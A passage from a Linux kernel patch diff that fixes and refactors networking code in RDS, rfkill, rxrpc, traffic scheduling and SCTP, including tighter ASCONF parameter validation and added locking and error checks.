rds_iw_get_device(struct rds_sock *rs, struct rds_iw_device **rds_iwd src_addr->sin_port, dst_addr->sin_addr.s_addr, dst_addr->sin_port, - rs->rs_bound_addr, - rs->rs_bound_port, - rs->rs_conn_addr, - rs->rs_conn_port); + src->sin_addr.s_addr, + src->sin_port, + dst->sin_addr.s_addr, + dst->sin_port); #ifdef WORKING_TUPLE_DETECTION - if (src_addr->sin_addr.s_addr == rs->rs_bound_addr && - src_addr->sin_port == rs->rs_bound_port && - dst_addr->sin_addr.s_addr == rs->rs_conn_addr && - dst_addr->sin_port == rs->rs_conn_port) { + if (src_addr->sin_addr.s_addr == src->sin_addr.s_addr && + src_addr->sin_port == src->sin_port && + dst_addr->sin_addr.s_addr == dst->sin_addr.s_addr && + dst_addr->sin_port == dst->sin_port) { #else /* FIXME - needs to compare the local and remote * ipaddr/port tuple, but the ipaddr is the only @@ -128,7 +130,7 @@ static int rds_iw_get_device(struct rds_sock *rs, struct rds_iw_device **rds_iwd * zero'ed. It doesn't appear to be properly populated * during connection setup... */ - if (src_addr->sin_addr.s_addr == rs->rs_bound_addr) { + if (src_addr->sin_addr.s_addr == src->sin_addr.s_addr) { #endif spin_unlock_irq(&iwdev->spinlock); *rds_iwdev = iwdev; @@ -180,19 +182,13 @@ int rds_iw_update_cm_id(struct rds_iw_device *rds_iwdev, struct rdma_cm_id *cm_i { struct sockaddr_in *src_addr, *dst_addr; struct rds_iw_device *rds_iwdev_old; - struct rds_sock rs; struct rdma_cm_id *pcm_id; int rc; src_addr = (struct sockaddr_in *)&cm_id->route.addr.src_addr; dst_addr = (struct sockaddr_in *)&cm_id->route.addr.dst_addr; - rs.rs_bound_addr = src_addr->sin_addr.s_addr; - rs.rs_bound_port = src_addr->sin_port; - rs.rs_conn_addr = dst_addr->sin_addr.s_addr; - rs.rs_conn_port = dst_addr->sin_port; - - rc = rds_iw_get_device(&rs, &rds_iwdev_old, &pcm_id); + rc = rds_iw_get_device(src_addr, dst_addr, &rds_iwdev_old, &pcm_id); if (rc) rds_iw_remove_cm_id(rds_iwdev, cm_id); @@ -598,9 +594,17 @@ void *rds_iw_get_mr(struct scatterlist *sg, unsigned long nents, struct rds_iw_device *rds_iwdev; struct rds_iw_mr *ibmr = NULL; struct rdma_cm_id *cm_id; + struct sockaddr_in src = { + .sin_addr.s_addr = rs->rs_bound_addr, + .sin_port = rs->rs_bound_port, + }; + struct sockaddr_in dst = { + .sin_addr.s_addr = rs->rs_conn_addr, + .sin_port = rs->rs_conn_port, + }; int ret; - ret = rds_iw_get_device(rs, &rds_iwdev, &cm_id); + ret = rds_iw_get_device(&src, &dst, &rds_iwdev, &cm_id); if (ret || !cm_id) { ret = -ENODEV; goto out; diff --git a/net/rds/send.c b/net/rds/send.c index 406662076dff4..9b9f66a5455ac 100644 --- a/net/rds/send.c +++ b/net/rds/send.c @@ -955,11 +955,13 @@ int rds_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, release_sock(sk); } - /* racing with another thread binding seems ok here */ + lock_sock(sk); if (daddr == 0 || rs->rs_bound_addr == 0) { + release_sock(sk); ret = -ENOTCONN; /* XXX not a great errno */ goto out; } + release_sock(sk); /* size of rm including all sgs */ ret = rds_rm_size(msg, payload_len); diff --git a/net/rds/tcp_recv.c b/net/rds/tcp_recv.c index 4fac4f2bb9dcc..8b33d9967b567 100644 --- a/net/rds/tcp_recv.c +++ b/net/rds/tcp_recv.c @@ -234,8 +234,15 @@ static int rds_tcp_data_recv(read_descriptor_t *desc, struct sk_buff *skb, } to_copy = min(tc->t_tinc_data_rem, left); - pskb_pull(clone, offset); - pskb_trim(clone, to_copy); + if (!pskb_pull(clone, offset) || + pskb_trim(clone, to_copy)) { + pr_warn("rds_tcp_data_recv: pull/trim failed " + "left %zu data_rem %zu skb_len %d\n", + left, tc->t_tinc_data_rem, skb->len); + kfree_skb(clone); + desc->error = -ENOMEM; + goto out; + } skb_queue_tail(&tinc->ti_skb_list, clone); rdsdebug("skb %p data %p len %d off %u to_copy %zu -> " diff --git a/net/rfkill/core.c b/net/rfkill/core.c index c099b4fffd93d..352cb5570cb7f 100644 --- a/net/rfkill/core.c +++ b/net/rfkill/core.c @@ -51,7 +51,6 @@ struct rfkill { spinlock_t lock; - const char *name; enum rfkill_type type; unsigned long state; @@ -75,6 +74,7 @@ struct rfkill { struct delayed_work poll_work; struct work_struct uevent_work; struct work_struct sync_work; + char name[]; }; #define to_rfkill(d) container_of(d, struct rfkill, dev) @@ -875,14 +875,14 @@ struct rfkill * __must_check rfkill_alloc(const char *name, if (WARN_ON(type == RFKILL_TYPE_ALL || type >= NUM_RFKILL_TYPES)) return NULL; - rfkill = kzalloc(sizeof(*rfkill), GFP_KERNEL); + rfkill = kzalloc(sizeof(*rfkill) + strlen(name) + 1, GFP_KERNEL); if (!rfkill) return NULL; spin_lock_init(&rfkill->lock); INIT_LIST_HEAD(&rfkill->node); rfkill->type = type; - rfkill->name = name; + strcpy(rfkill->name, name); rfkill->ops = ops; rfkill->data = ops_data; @@ -1092,17 +1092,6 @@ static unsigned int rfkill_fop_poll(struct file *file, poll_table *wait) return res; } -static bool rfkill_readable(struct rfkill_data *data) -{ - bool r; - - mutex_lock(&data->mtx); - r = !list_empty(&data->events); - mutex_unlock(&data->mtx); - - return r; -} - static ssize_t rfkill_fop_read(struct file *file, char __user *buf, size_t count, loff_t *pos) { @@ -1119,8 +1108,11 @@ static ssize_t rfkill_fop_read(struct file *file, char __user *buf, goto out; } mutex_unlock(&data->mtx); + /* since we re-check and it just compares pointers, + * using !list_empty() without locking isn't a problem + */ ret = wait_event_interruptible(data->read_wait, - rfkill_readable(data)); + !list_empty(&data->events)); mutex_lock(&data->mtx); if (ret) diff --git a/net/rfkill/rfkill-regulator.c b/net/rfkill/rfkill-regulator.c index d11ac79246e46..cf5b145902e5e 100644 --- a/net/rfkill/rfkill-regulator.c +++ b/net/rfkill/rfkill-regulator.c @@ -30,6 +30,7 @@ struct rfkill_regulator_data { static int rfkill_regulator_set_block(void *data, bool blocked) { struct rfkill_regulator_data *rfkill_data = data; + int ret = 0; pr_debug("%s: blocked: %d\n", __func__, blocked); @@ -40,15 +41,16 @@ static int rfkill_regulator_set_block(void *data, bool blocked) } } else { if (!rfkill_data->reg_enabled) { - regulator_enable(rfkill_data->vcc); - rfkill_data->reg_enabled = true; + ret = regulator_enable(rfkill_data->vcc); + if (!ret) + rfkill_data->reg_enabled = true; } } pr_debug("%s: regulator_is_enabled after set_block: %d\n", __func__, regulator_is_enabled(rfkill_data->vcc)); - return 0; + return ret; } static struct rfkill_ops rfkill_regulator_ops = { diff --git a/net/rxrpc/ar-recvmsg.c b/net/rxrpc/ar-recvmsg.c index 259e255a44da0..c67f5d3f6e619 100644 --- a/net/rxrpc/ar-recvmsg.c +++ b/net/rxrpc/ar-recvmsg.c @@ -87,7 +87,7 @@ int rxrpc_recvmsg(struct kiocb *iocb, struct socket *sock, if (!skb) { /* nothing remains on the queue */ if (copied && - (msg->msg_flags & MSG_PEEK || timeo == 0)) + (flags & MSG_PEEK || timeo == 0)) goto out; /* wait for a message to turn up */ diff --git a/net/sched/ematch.c b/net/sched/ematch.c index 3a633debb6df0..a2abc449ce8fe 100644 --- a/net/sched/ematch.c +++ b/net/sched/ematch.c @@ -227,6 +227,7 @@ static int tcf_em_validate(struct tcf_proto *tp, * to replay the request. */ module_put(em->ops->owner); + em->ops = NULL; err = -EAGAIN; } #endif diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c index ecf42dcb09036..917570fe67601 100644 --- a/net/sched/sch_api.c +++ b/net/sched/sch_api.c @@ -752,10 +752,8 @@ static int qdisc_graft(struct net_device *dev, struct Qdisc *parent, if (dev->flags & IFF_UP) dev_deactivate(dev); - if (new && new->ops->attach) { - new->ops->attach(new); - num_q = 0; - } + if (new && new->ops->attach) + goto skip; for (i = 0; i < num_q; i++) { struct netdev_queue *dev_queue = dev_ingress_queue(dev); @@ -771,12 +769,16 @@ static int qdisc_graft(struct net_device *dev, struct Qdisc *parent, qdisc_destroy(old); } +skip: if (!ingress) { notify_and_destroy(net, skb, n, classid, dev->qdisc, new); if (new && !new->ops->attach) atomic_inc(&new->refcnt); dev->qdisc = new ? : &noop_qdisc; + + if (new && new->ops->attach) + new->ops->attach(new); } else { notify_and_destroy(net, skb, n, classid, old, new); } diff --git a/net/sctp/associola.c b/net/sctp/associola.c index 229b3c3fb6c98..6360a14edeaba 100644 --- a/net/sctp/associola.c +++ b/net/sctp/associola.c @@ -1213,6 +1213,7 @@ void sctp_assoc_update(struct sctp_association *asoc, asoc->c = new->c; asoc->peer.rwnd = new->peer.rwnd; asoc->peer.sack_needed = new->peer.sack_needed; + asoc->peer.auth_capable = new->peer.auth_capable; asoc->peer.i = new->peer.i; sctp_tsnmap_init(&asoc->peer.tsn_map, SCTP_TSN_MAP_INITIAL, asoc->peer.i.initial_tsn, GFP_ATOMIC); @@ -1296,7 +1297,6 @@ void sctp_assoc_update(struct sctp_association *asoc, asoc->peer.peer_hmacs = new->peer.peer_hmacs; new->peer.peer_hmacs = NULL; - sctp_auth_key_put(asoc->asoc_shared_key); sctp_auth_asoc_init_active_key(asoc, GFP_ATOMIC); } @@ -1658,6 +1658,8 @@ struct sctp_chunk *sctp_assoc_lookup_asconf_ack( * ack chunk whose serial number matches that of the request. */ list_for_each_entry(ack, &asoc->asconf_ack_list, transmitted_list) { + if (sctp_chunk_pending(ack)) + continue; if (ack->subh.addip_hdr->serial == serial) { sctp_chunk_hold(ack); return ack; diff --git a/net/sctp/auth.c b/net/sctp/auth.c index 7a19117254db8..62433f797f3f9 100644 --- a/net/sctp/auth.c +++ b/net/sctp/auth.c @@ -812,8 +812,8 @@ int sctp_auth_ep_set_hmacs(struct sctp_endpoint *ep, if (!has_sha1) return -EINVAL; - memcpy(ep->auth_hmacs_list->hmac_ids, &hmacs->shmac_idents[0], - hmacs->shmac_num_idents * sizeof(__u16)); + for (i = 0; i < hmacs->shmac_num_idents; i++) + ep->auth_hmacs_list->hmac_ids[i] = htons(hmacs->shmac_idents[i]); ep->auth_hmacs_list->param_hdr.length = htons(sizeof(sctp_paramhdr_t) + hmacs->shmac_num_idents * sizeof(__u16)); return 0; @@ -874,8 +874,6 @@ int sctp_auth_set_key(struct sctp_endpoint *ep, list_add(&cur_key->key_list, sh_keys); cur_key->key = key; - sctp_auth_key_hold(key); - return 0; nomem: if (!replace) diff --git a/net/sctp/inqueue.c b/net/sctp/inqueue.c index 3221d073448ce..49c58eadbfa2a 100644 --- a/net/sctp/inqueue.c +++ b/net/sctp/inqueue.c @@ -147,18 +147,9 @@ struct sctp_chunk *sctp_inq_pop(struct sctp_inq *queue) } else { /* Nothing to do. Next chunk in the packet, please. */ ch = (sctp_chunkhdr_t *) chunk->chunk_end; - /* Force chunk->skb->data to chunk->chunk_end. */ - skb_pull(chunk->skb, - chunk->chunk_end - chunk->skb->data); - - /* Verify that we have at least chunk headers - * worth of buffer left. - */ - if (skb_headlen(chunk->skb) < sizeof(sctp_chunkhdr_t)) { - sctp_chunk_free(chunk); - chunk = queue->in_progress = NULL; - } + skb_pull(chunk->skb, chunk->chunk_end - chunk->skb->data); + /* We are guaranteed to pull a SCTP header. */ } } @@ -194,24 +185,14 @@ struct sctp_chunk *sctp_inq_pop(struct sctp_inq *queue) skb_pull(chunk->skb, sizeof(sctp_chunkhdr_t)); chunk->subh.v = NULL; /* Subheader is no longer valid. */ - if (chunk->chunk_end < skb_tail_pointer(chunk->skb)) { + if (chunk->chunk_end + sizeof(sctp_chunkhdr_t) < + skb_tail_pointer(chunk->skb)) { /* This is not a singleton */ chunk->singleton = 0; } else if (chunk->chunk_end > skb_tail_pointer(chunk->skb)) { - /* RFC 2960, Section 6.10 Bundling - * - * Partial chunks MUST NOT be placed in an SCTP packet. - * If the receiver detects a partial chunk, it MUST drop - * the chunk. - * - * Since the end of the chunk is past the end of our buffer - * (which contains the whole packet, we can freely discard - * the whole packet. - */ - sctp_chunk_free(chunk); - chunk = queue->in_progress = NULL; - - return NULL; + /* Discard inside state machine. */ + chunk->pdiscard = 1; + chunk->chunk_end = skb_tail_pointer(chunk->skb); } else { /* We are at the end of the packet, so mark the chunk * in case we need to send a SACK. diff --git a/net/sctp/ipv6.c b/net/sctp/ipv6.c index 422d8bdacc0d9..10d3e2874dd15 100644 --- a/net/sctp/ipv6.c +++ b/net/sctp/ipv6.c @@ -520,6 +520,8 @@ static int sctp_v6_cmp_addr(const union sctp_addr *addr1, } return 0; } + if (addr1->v6.sin6_port != addr2->v6.sin6_port) + return 0; if (!ipv6_addr_equal(&addr1->v6.sin6_addr, &addr2->v6.sin6_addr)) return 0; /* If this is a linklocal address, compare the scope_id. */ @@ -639,6 +641,7 @@ static struct sock *sctp_v6_create_accept_sk(struct sock *sk, struct sock *newsk; struct ipv6_pinfo *newnp, *np = inet6_sk(sk); struct sctp6_sock *newsctp6sk; + struct ipv6_txoptions *opt; newsk = sk_alloc(sock_net(sk), PF_INET6, GFP_KERNEL, sk->sk_prot); if (!newsk) @@ -658,6 +661,13 @@ static struct sock *sctp_v6_create_accept_sk(struct sock *sk, memcpy(newnp, np, sizeof(struct ipv6_pinfo)); + rcu_read_lock(); + opt = rcu_dereference(np->opt); + if (opt) + opt = ipv6_dup_options(newsk, opt); + RCU_INIT_POINTER(newnp->opt, opt); + rcu_read_unlock(); + /* Initialize sk's sport, dport, rcv_saddr and daddr for getsockname() * and getpeername(). */ diff --git a/net/sctp/output.c b/net/sctp/output.c index 0beb2f9c8a7c6..2d9689333fe40 100644 --- a/net/sctp/output.c +++ b/net/sctp/output.c @@ -413,12 +413,12 @@ int sctp_packet_transmit(struct sctp_packet *packet) sk = chunk->skb->sk; /* Allocate the new skb. */ - nskb = alloc_skb(packet->size + LL_MAX_HEADER, GFP_ATOMIC); + nskb = alloc_skb(packet->size + MAX_HEADER, GFP_ATOMIC); if (!nskb) goto nomem; /* Make sure the outbound skb has enough header room reserved. */ - skb_reserve(nskb, packet->overhead + LL_MAX_HEADER); + skb_reserve(nskb, packet->overhead + MAX_HEADER); /* Set the owning socket so that we know where to get the * destination IP address. @@ -618,7 +618,9 @@ int sctp_packet_transmit(struct sctp_packet *packet) return err; no_route: kfree_skb(nskb); - IP_INC_STATS_BH(sock_net(asoc->base.sk), IPSTATS_MIB_OUTNOROUTES); + + if (asoc) + IP_INC_STATS(sock_net(asoc->base.sk), IPSTATS_MIB_OUTNOROUTES); /* FIXME: Returning the 'err' will effect all the associations * associated with a socket, although only one of the paths of the diff --git a/net/sctp/protocol.c b/net/sctp/protocol.c index 5a3c1c0a84a19..57c2c4c0c97b9 100644 --- a/net/sctp/protocol.c +++ b/net/sctp/protocol.c @@ -1170,7 +1170,7 @@ static void sctp_v4_del_protocol(void) unregister_inetaddr_notifier(&sctp_inetaddr_notifier); } -static int __net_init sctp_net_init(struct net *net) +static int __net_init sctp_defaults_init(struct net *net) { int status; @@ -1263,12 +1263,6 @@ static int __net_init sctp_net_init(struct net *net) sctp_dbg_objcnt_init(net); - /* Initialize the control inode/socket for handling OOTB packets. */ - if ((status = sctp_ctl_sock_init(net))) { - pr_err("Failed to initialize the SCTP control sock\n"); - goto err_ctl_sock_init; - } - /* Initialize the local address list. */ INIT_LIST_HEAD(&net->sctp.local_addr_list); spin_lock_init(&net->sctp.local_addr_lock); @@ -1284,9 +1278,6 @@ static int __net_init sctp_net_init(struct net *net) return 0; -err_ctl_sock_init: - sctp_dbg_objcnt_exit(net); - sctp_proc_exit(net); err_init_proc: cleanup_sctp_mibs(net); err_init_mibs: @@ -1295,15 +1286,12 @@ static int __net_init sctp_net_init(struct net *net) return status; } -static void __net_exit sctp_net_exit(struct net *net) +static void __net_exit sctp_defaults_exit(struct net *net) { /* Free the local address list */ sctp_free_addr_wq(net); sctp_free_local_addr_list(net); - /* Free the control endpoint. */ - inet_ctl_sock_destroy(net->sctp.ctl_sock); - sctp_dbg_objcnt_exit(net); sctp_proc_exit(net); @@ -1311,9 +1299,32 @@ static void __net_exit sctp_net_exit(struct net *net) sctp_sysctl_net_unregister(net); } -static struct pernet_operations sctp_net_ops = { - .init = sctp_net_init, - .exit = sctp_net_exit, +static struct pernet_operations sctp_defaults_ops = { + .init = sctp_defaults_init, + .exit = sctp_defaults_exit, +}; + +static int __net_init sctp_ctrlsock_init(struct net *net) +{ + int status; + + /* Initialize the control inode/socket for handling OOTB packets. */ + status = sctp_ctl_sock_init(net); + if (status) + pr_err("Failed to initialize the SCTP control sock\n"); + + return status; +} + +static void __net_init sctp_ctrlsock_exit(struct net *net) +{ + /* Free the control endpoint. */ + inet_ctl_sock_destroy(net->sctp.ctl_sock); +} + +static struct pernet_operations sctp_ctrlsock_ops = { + .init = sctp_ctrlsock_init, + .exit = sctp_ctrlsock_exit, }; /* Initialize the universe into something sensible. */ @@ -1448,8 +1459,11 @@ SCTP_STATIC __init int sctp_init(void) sctp_v4_pf_init(); sctp_v6_pf_init(); - status = sctp_v4_protosw_init(); + status = register_pernet_subsys(&sctp_defaults_ops); + if (status) + goto err_register_defaults; + status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; @@ -1457,9 +1471,9 @@ SCTP_STATIC __init int sctp_init(void) if (status) goto err_v6_protosw_init; - status = register_pernet_subsys(&sctp_net_ops); + status = register_pernet_subsys(&sctp_ctrlsock_ops); if (status) - goto err_register_pernet_subsys; + goto err_register_ctrlsock; status = sctp_v4_add_protocol(); if (status) @@ -1476,12 +1490,14 @@ SCTP_STATIC __init int sctp_init(void) err_v6_add_protocol: sctp_v4_del_protocol(); err_add_protocol: - unregister_pernet_subsys(&sctp_net_ops); -err_register_pernet_subsys: + unregister_pernet_subsys(&sctp_ctrlsock_ops); +err_register_ctrlsock: sctp_v6_protosw_exit(); err_v6_protosw_init: sctp_v4_protosw_exit(); err_protosw_init: + unregister_pernet_subsys(&sctp_defaults_ops); +err_register_defaults: sctp_v4_pf_exit(); sctp_v6_pf_exit(); sctp_sysctl_unregister(); @@ -1514,12 +1530,14 @@ SCTP_STATIC __exit void sctp_exit(void) sctp_v6_del_protocol(); sctp_v4_del_protocol(); - unregister_pernet_subsys(&sctp_net_ops); + unregister_pernet_subsys(&sctp_ctrlsock_ops); /* Free protosw registrations */ sctp_v6_protosw_exit(); sctp_v4_protosw_exit(); + unregister_pernet_subsys(&sctp_defaults_ops); + /* Unregister with socket layer. */ sctp_v6_pf_exit(); sctp_v4_pf_exit(); diff --git a/net/sctp/sm_make_chunk.c b/net/sctp/sm_make_chunk.c index 87e244be899a7..beedadf62f6ca 100644 --- a/net/sctp/sm_make_chunk.c +++ b/net/sctp/sm_make_chunk.c @@ -2595,7 +2595,10 @@ static int sctp_process_param(struct sctp_association *asoc, addr_param = param.v + sizeof(sctp_addip_param_t); - af = sctp_get_af_specific(param_type2af(param.p->type)); + af = sctp_get_af_specific(param_type2af(addr_param->p.type)); + if (af == NULL) + break; + af->from_addr_param(&addr, addr_param, htons(asoc->peer.port), 0); @@ -3094,50 +3097,63 @@ static __be16 sctp_process_asconf_param(struct sctp_association *asoc, return SCTP_ERROR_NO_ERROR; } -/* Verify the ASCONF packet before we process it. */ -int sctp_verify_asconf(const struct sctp_association *asoc, - struct sctp_paramhdr *param_hdr, void *chunk_end, - struct sctp_paramhdr **errp) { - sctp_addip_param_t *asconf_param; +/* Verify the ASCONF packet before we process it. */ +bool sctp_verify_asconf(const struct sctp_association *asoc, + struct sctp_chunk *chunk, bool addr_param_needed, + struct sctp_paramhdr **errp) +{ + sctp_addip_chunk_t *addip = (sctp_addip_chunk_t *) chunk->chunk_hdr; union sctp_params param; - int length, plen; + bool addr_param_seen = false; - param.v = (sctp_paramhdr_t *) param_hdr; - while (param.v <= chunk_end - sizeof(sctp_paramhdr_t)) { - length = ntohs(param.p->length); - *errp = param.p; - - if (param.v > chunk_end - length || - length < sizeof(sctp_paramhdr_t)) - return 0; + sctp_walk_params(param, addip, addip_hdr.params) { + size_t length = ntohs(param.p->length); + *errp = param.p; switch (param.p->type) { + case SCTP_PARAM_ERR_CAUSE: + break; + case SCTP_PARAM_IPV4_ADDRESS: + if (length != sizeof(sctp_ipv4addr_param_t)) + return false; + addr_param_seen = true; + break; + case SCTP_PARAM_IPV6_ADDRESS: + if (length != sizeof(sctp_ipv6addr_param_t)) + return false; + addr_param_seen = true; + break; case SCTP_PARAM_ADD_IP: case SCTP_PARAM_DEL_IP: case SCTP_PARAM_SET_PRIMARY: - asconf_param = (sctp_addip_param_t *)param.v; - plen = ntohs(asconf_param->param_hdr.length); - if (plen < sizeof(sctp_addip_param_t) + - sizeof(sctp_paramhdr_t)) - return 0; + /* In ASCONF chunks, these need to be first. */ + if (addr_param_needed && !addr_param_seen) + return false; + length = ntohs(param.addip->param_hdr.length); + if (length < sizeof(sctp_addip_param_t) + + sizeof(sctp_paramhdr_t)) + return false; break; case SCTP_PARAM_SUCCESS_REPORT: case SCTP_PARAM_ADAPTATION_LAYER_IND: if (length != sizeof(sctp_addip_param_t)) - return 0; - + return false; break; default: - break; + /* This is unkown to us, reject! */ + return false; } - - param.v += WORD_ROUND(length); } - if (param.v != chunk_end) - return 0; + /* Remaining sanity checks. */ + if (addr_param_needed && !addr_param_seen) + return false; + if (!addr_param_needed && addr_param_seen) + return false; + if (param.v != chunk->chunk_end) + return false; - return 1; + return true; } /* Process an incoming ASCONF chunk with the next expected serial no. and @@ -3146,16 +3162,17 @@ int sctp_verify_asconf(const struct sctp_association *asoc, struct sctp_chunk *sctp_process_asconf(struct sctp_association *asoc, struct sctp_chunk *asconf) { + sctp_addip_chunk_t *addip = (sctp_addip_chunk_t *) asconf->chunk_hdr; + bool all_param_pass = true; + union sctp_params param; sctp_addiphdr_t *hdr; union sctp_addr_param *addr_param; sctp_addip_param_t *asconf_param; struct sctp_chunk *asconf_ack; - __be16 err_code; int length = 0; int chunk_len; __u32 serial; - int all_param_pass = 1; chunk_len = ntohs(asconf->chunk_hdr->length) - sizeof(sctp_chunkhdr_t); hdr = (sctp_addiphdr_t *)asconf->skb->data; @@ -3183,9 +3200,14 @@ struct sctp_chunk *sctp_process_asconf(struct sctp_association *asoc, goto done; /* Process the TLVs contained within the ASCONF chunk. */ - while (chunk_len > 0) { + sctp_walk_params(param, addip, addip_hdr.params) { + /* Skip preceeding address parameters. */ + if (param.p->type == SCTP_PARAM_IPV4_ADDRESS || + param.p->type == SCTP_PARAM_IPV6_ADDRESS) + continue; + err_code = sctp_process_asconf_param(asoc, asconf, - asconf_param); + param.addip); /* ADDIP 4.1 A7) * If an error response is received for a TLV parameter, * all TLVs with no response before the failed TLV are @@ -3193,28 +3215,20 @@ struct sctp_chunk *sctp_process_asconf(struct sctp_association *asoc, * the failed response are considered unsuccessful unless * a specific success indication is present for the parameter. */ - if (SCTP_ERROR_NO_ERROR != err_code) - all_param_pass = 0; - + if (err_code != SCTP_ERROR_NO_ERROR) + all_param_pass = false; if (!all_param_pass) - sctp_add_asconf_response(asconf_ack, - asconf_param->crr_id, err_code, - asconf_param); + sctp_add_asconf_response(asconf_ack, param.addip->crr_id, + err_code, param.addip); /* ADDIP 4.3 D11) When an endpoint receiving an ASCONF to add * an IP address sends an 'Out of Resource' in its response, it * MUST also fail any subsequent add or delete requests bundled * in the ASCONF. */ - if (SCTP_ERROR_RSRC_LOW == err_code) + if (err_code == SCTP_ERROR_RSRC_LOW) goto done; - - /* Move to the next ASCONF param. */ - length = ntohs(asconf_param->param_hdr.length); - asconf_param = (void *)asconf_param + length; - chunk_len -= length; } - done: asoc->peer.addip_serial++; diff --git a/net/sctp/sm_sideeffect.c b/net/sctp/sm_sideeffect.c index 8aab894aeabee..730914cdb7a14 100644 --- a/net/sctp/sm_sideeffect.c +++ b/net/sctp/sm_sideeffect.c @@ -251,12 +251,13 @@ void sctp_generate_t3_rtx_event(unsigned long peer) int error; struct sctp_transport *transport = (struct sctp_transport *) peer; struct sctp_association *asoc = transport->asoc; - struct net *net = sock_net(asoc->base.sk); + struct sock *sk = asoc->base.sk; + struct net *net = sock_net(sk); /* Check whether a task is in the sock. */ - sctp_bh_lock_sock(asoc->base.sk); - if (sock_owned_by_user(asoc->base.sk)) { + sctp_bh_lock_sock(sk); + if (sock_owned_by_user(sk)) { SCTP_DEBUG_PRINTK("%s:Sock is busy.\n", __func__); /* Try again later. */ @@ -279,10 +280,10 @@ void sctp_generate_t3_rtx_event(unsigned long peer) transport, GFP_ATOMIC); if (error) - asoc->base.sk->sk_err = -error; + sk->sk_err = -error; out_unlock: - sctp_bh_unlock_sock(asoc->base.sk); + sctp_bh_unlock_sock(sk); sctp_transport_put(transport); } @@ -292,11 +293,12 @@ void sctp_generate_t3_rtx_event(unsigned long peer) static void sctp_generate_timeout_event(struct sctp_association *asoc, sctp_event_timeout_t timeout_type) { - struct net *net = sock_net(asoc->base.sk); + struct sock *sk = asoc->base.sk; + struct net *net = sock_net(sk); int error = 0; - sctp_bh_lock_sock(asoc->base.sk); - if (sock_owned_by_user(asoc->base.sk)) { + sctp_bh_lock_sock(sk); + if (sock_owned_by_user(sk)) { SCTP_DEBUG_PRINTK("%s:Sock is busy: timer %d\n", __func__, timeout_type); @@ -320,10 +322,10 @@ static void sctp_generate_timeout_event(struct sctp_association *asoc, (void *)timeout_type, GFP_ATOMIC); if (error) - asoc->base.sk->sk_err = -error; + sk->sk_err = -error; out_unlock: - sctp_bh_unlock_sock(asoc->base.sk); + sctp_bh_unlock_sock(sk); sctp_association_put(asoc); } @@ -373,10 +375,11 @@ void sctp_generate_heartbeat_event(unsigned long data) int error = 0; struct sctp_transport *transport = (struct sctp_transport *) data; struct sctp_association *asoc = transport->asoc; - struct net *net = sock_net(asoc->base.sk); + struct sock *sk = asoc->base.sk; + struct net *net = sock_net(sk); - sctp_bh_lock_sock(asoc->base.sk); - if (sock_owned_by_user(asoc->base.sk)) { + sctp_bh_lock_sock(sk); + if (sock_owned_by_user(sk)) { SCTP_DEBUG_PRINTK("%s:Sock is busy.\n", __func__); /* Try again later. */ @@ -397,10 +400,10 @@ void sctp_generate_heartbeat_event(unsigned long data) transport, GFP_ATOMIC); if (error) - asoc->base.sk->sk_err = -error; + sk->sk_err = -error; out_unlock: - sctp_bh_unlock_sock(asoc->base.sk); + sctp_bh_unlock_sock(sk); sctp_transport_put(transport); } @@ -411,10 +414,11 @@ void sctp_generate_proto_unreach_event(unsigned long data) { struct sctp_transport *transport = (struct sctp_transport *) data; struct sctp_association *asoc = transport->asoc; - struct net *net = sock_net(asoc->base.sk); + struct sock *sk = asoc->base.sk; + struct net *net = sock_net(sk); - sctp_bh_lock_sock(asoc->base.sk); - if (sock_owned_by_user(asoc->base.sk)) { + sctp_bh_lock_sock(sk); + if (sock_owned_by_user(sk)) { SCTP_DEBUG_PRINTK("%s:Sock is busy.\n", __func__); /* Try again later. */ @@ -435,7 +439,7 @@ void sctp_generate_proto_unreach_event(unsigned long data) asoc->state, asoc->ep, asoc, transport, GFP_ATOMIC); out_unlock: - sctp_bh_unlock_sock(asoc->base.sk); + sctp_bh_unlock_sock(sk); sctp_association_put(asoc); } diff --git a/net/sctp/sm_statefuns.c b/net/sctp/sm_statefuns.c index 6eb26403de6a7..d9cbecb62aca8 100644 --- a/net/sctp/sm_statefuns.c +++ b/net/sctp/sm_statefuns.c @@ -177,6 +177,9 @@ sctp_chunk_length_valid(struct sctp_chunk *chunk, { __u16 chunk_length = ntohs(chunk->chunk_hdr->length); + /* Previously already marked? */ + if (unlikely(chunk->pdiscard)) + return 0; if (unlikely(chunk_length < required_length)) return 0; @@ -1782,9 +1785,22 @@ static sctp_disposition_t sctp_sf_do_dupcook_a(struct net *net, /* Update the content of current association. */ sctp_add_cmd_sf(commands, SCTP_CMD_UPDATE_ASSOC, SCTP_ASOC(new_asoc)); sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP, SCTP_ULPEVENT(ev)); - sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE, - SCTP_STATE(SCTP_STATE_ESTABLISHED)); - sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl)); + if (sctp_state(asoc, SHUTDOWN_PENDING) && + (sctp_sstate(asoc->base.sk, CLOSING) || + sock_flag(asoc->base.sk, SOCK_DEAD))) { + /* if were currently in SHUTDOWN_PENDING, but the socket + * has been closed by user, don't transition to ESTABLISHED. + * Instead trigger SHUTDOWN bundled with COOKIE_ACK. + */ + sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl)); + return sctp_sf_do_9_2_start_shutdown(net, ep, asoc, + SCTP_ST_CHUNK(0), NULL, + commands); + } else { + sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE, + SCTP_STATE(SCTP_STATE_ESTABLISHED)); + sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl)); + } return SCTP_DISPOSITION_CONSUME; nomem_ev: @@ -3580,9 +3596,7 @@ sctp_disposition_t sctp_sf_do_asconf(struct net *net, struct sctp_chunk *asconf_ack = NULL; struct sctp_paramhdr *err_param = NULL; sctp_addiphdr_t *hdr; - union sctp_addr_param *addr_param; __u32 serial; - int length; if (!sctp_vtag_verify(chunk, asoc)) { sctp_add_cmd_sf(commands, SCTP_CMD_REPORT_BAD_TAG, @@ -3607,17 +3621,8 @@ sctp_disposition_t sctp_sf_do_asconf(struct net *net, hdr = (sctp_addiphdr_t *)chunk->skb->data; serial = ntohl(hdr->serial); - addr_param = (union sctp_addr_param *)hdr->params; - length = ntohs(addr_param->p.length); - if (length < sizeof(sctp_paramhdr_t)) - return sctp_sf_violation_paramlen(net, ep, asoc, type, arg, - (void *)addr_param, commands); - /* Verify the 